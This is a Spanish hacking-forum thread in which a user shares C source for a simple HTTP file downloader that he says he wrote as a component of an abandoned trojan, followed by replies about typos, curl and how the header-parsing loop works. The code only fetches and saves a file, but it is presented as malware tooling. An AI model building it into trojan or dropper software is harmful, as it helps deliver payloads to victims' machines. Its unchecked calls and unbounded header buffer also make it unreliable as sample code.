[C++] Downloader

Iniciado por kiriost, 7 Agosto 2011, 15:58 PM

0 Miembros y 1 Visitante están viendo este tema.

kiriost

Hace unos días terminé un downloader que hice para un troyano que estabamos armando con un colega que quedó en la nada.

Rattack iba a contener un sistema de ocultación mediante hooks a las APIs de Windows, pero al final no quedó implementado porque esa parte d código lo hizo mi colega, yo me encargué de la parte del servidor y del cliente y de las funciones del downloader. La página del proyecto Rattack es http://godsys.com.ar/rattack/

Estaba programado usando el API WinSock, pero le cambié algunas cosas para poder compilarlo en Linux, ya que el sistema de sockets no es muy diferente entre ambos sistemas.

Al troyano le implementé 2 clases de downloader: uno que descarga archivos desde un servidor web (mediante HTTP) y otro que envía archivos desde un cliente a un servidor programados por mí.

Aquí les traigo el código del Downloader HTTP:

Código (cpp) [Seleccionar]

/*
Autor: Kiriost
*/

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

int main(int argc, char *argv[]) {
if(argc != 4) {
printf("TO USE: ./downloader www.host.com /file.exe saveas.exen");
return 0;
}

char *shost;
char *sfile;
char *ssave;

shost = argv[1];
sfile = argv[2];
ssave = argv[3];

int sock;
struct sockaddr_in conn;
struct hostent *host;
char data[512];
sprintf(data, "GET %s HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n", sfile, shost);

char buffer[1024];
memset(buffer, 0, 1024);
int numbytes;
int bytes = 0;
int i = 0;

sock = socket(AF_INET, SOCK_STREAM, 0);
host = gethostbyname(shost);

conn.sin_family = AF_INET;
conn.sin_port = htons(80);
conn.sin_addr = *((struct in_addr *)host->h_addr);
memset(&conn.sin_zero, 0, 8);

connect(sock, (struct sockaddr *)&conn, sizeof(struct sockaddr));

FILE *fp = fopen(ssave, "wb");

send(sock, data, strlen(data), 0);

for(;;) {
recv(sock, buffer + i, 1, 0);
i++;
if(strncmp(buffer+i-4, "\r\n\r\n", 4) == 0) {
break;
}
}

for(;;) {
memset(buffer, 0, 1024);
numbytes = recv(sock, buffer, 1024, 0);
bytes += numbytes;
printf("%d KB\n", bytes/1024);
fwrite(buffer, sizeof(char), numbytes, fp);
if(numbytes <= 0) {
break;
}
}

printf("Bytes: %d\n", bytes);
fclose(fp);
close(sock);
}


Lo que hace especificamente es conectarse al servidor web, enviarle una serie de comandos HTTP (GET) para pedirle un archivo, el servidor recibe los comandos, los procesa y comienza a enviarle el contenido del archivo. La aplicación, entonces, comienza a recibir el contenido, entonces crea un archivo nuevo donde guarda el contenido que le va llegando.

Compilación

Código (bash) [Seleccionar]
gcc -o downloader_http downloader_http.c

Ejemplo de uso

Código (bash) [Seleccionar]
./downloader_http godsys.comxa.com /SDL.dll SDLdown.dll
http://www.godsys.com.ar > Programación. Hacking y Cracking. Sistemas. Desarrollo Web.
Java, C/C++, PHP, Python, Perl, HTML, Game-Hacking, Defacing, Desarrollo Web, GNU/Linux, y más

escabe

Ese código contiene algunos errores tipográficos, corrígelos.  :D

Saludos.

kiriost

Tienes razon. Es que lo saque de mi blog y wordpress me convierte algunos carácteres como > < " :)
http://www.godsys.com.ar > Programación. Hacking y Cracking. Sistemas. Desarrollo Web.
Java, C/C++, PHP, Python, Perl, HTML, Game-Hacking, Defacing, Desarrollo Web, GNU/Linux, y más

oPen syLar

=D ... Interesante.. Pero.. Porque currar directamente con los headers HTTP.? Digo si piensas ampliar tu troyano con el pasar el tiempo va hacer mas tedioso a la hora de incluir funciones que tengan que ver con el HTTP

Se me ocurre que podrías implementar curl en tu prj... Es portable y de fácil manejo..
Siempre habra 2 verdades, la que quieres creer y la que no aceptaras

El_Java

A mi personalmente me parece mas interesante la otra parte del downloader, la de pasar archivos de un ordenador a otro, pero bueno...

Por cierto, dime que se te ha olvidado poner el return 0; en el main porque has hecho un copy-paste, porque como tampoco lo tengas en el original mereces que te hundamos el pecho xD

kiriost

#5
Húndeme lo que quieras jejeje...
Primero el código del downloader HTTP y el código para pasar de un ordenador a otro está en mi blog, en la sección proyectos Rattack.. Ahí puedes descargar al código fuente del "troyano" o downloader y puedes ver en command.c que se encuentran las funciones DownloaderHTTP y Download y Upload

Upload crea el servidor para enviar el archivo y lo deja a la escucha.
Downloader se conecta al servidor y espera que le envíe el archivo.

Segundo, el return lo he olvidado porque como dije antes DownloadHTTP es una función, y lo que hice aquí fue pasarla directamente al main agregándole algunas cosas, entre las que el return 0 no se encuentra :].

oPen syLar
: la idea era no recurrir directamente a ninguna librerías que me facilitara el trabajo como curl o la de wget, sino utilizar la librería de sockets nativa del sistema.
http://www.godsys.com.ar > Programación. Hacking y Cracking. Sistemas. Desarrollo Web.
Java, C/C++, PHP, Python, Perl, HTML, Game-Hacking, Defacing, Desarrollo Web, GNU/Linux, y más

Synth3tik0

y el troyano tambien esta en c++?
..........

kiriost

Todo está en C. C++ no porque no utilizamos clases ni las librerías de C++.

Además en C el ejecutable queda más liviano.

El servidor y el cliente están en C. Había pensado hacer el cliente en Java, pero al final quedo abandonado el proyecto  :rolleyes:
http://www.godsys.com.ar > Programación. Hacking y Cracking. Sistemas. Desarrollo Web.
Java, C/C++, PHP, Python, Perl, HTML, Game-Hacking, Defacing, Desarrollo Web, GNU/Linux, y más

Belial & Grimoire

hola

Muy buen codigo para hacer descargas sencillas, pero hay algo que no entendi, espero me puedan ayudar con una explicacion porfavor

esta parte no la entiendo, se que recv, sus parametros son socket, *buffer, size, flags, pero porque en buffer le ponen + i? y porque en la longitud le ponen 1?

recv(sock, buffer + i, 1, 0);
i++;


Acaso es para iniciar varios punteros a buffer?, y en longitud porque 1? que no deberia ser un tamaño mas grande?

y se que strncmp hace una comparativa, y usando "n", es una comparativa mas exacta, pero porque asi?

if(strncmp(buffer+i-4, "\r\n\r\n", 4) == 0)

como lo mencione al principio porque buffer le ponen +i y porque restarle 4, lo demas si entiendo que hace una comparativa y si es "\r\n\r\n", termina el loop, pero lo demas?

espero me puedan ayudar con una explicacion de eso porfavor

salu2
.                                 

El_Java

Lo de recv es porque recibe los datos de 1 en 1, de ahi que el tamaño sea 1, y no le pasa el buffer, le pasa un puntero a la posicion del buffer (buffer[0+i]).
Y strncmp, es así porque lo que el hace es comparar el buffer con "\r\n\r\n" recorriendo el buffer uno a uno, y le quita 4 para no producir un overflow al pasarse del tamaño del buffer, entiendes?

Un saludo! :D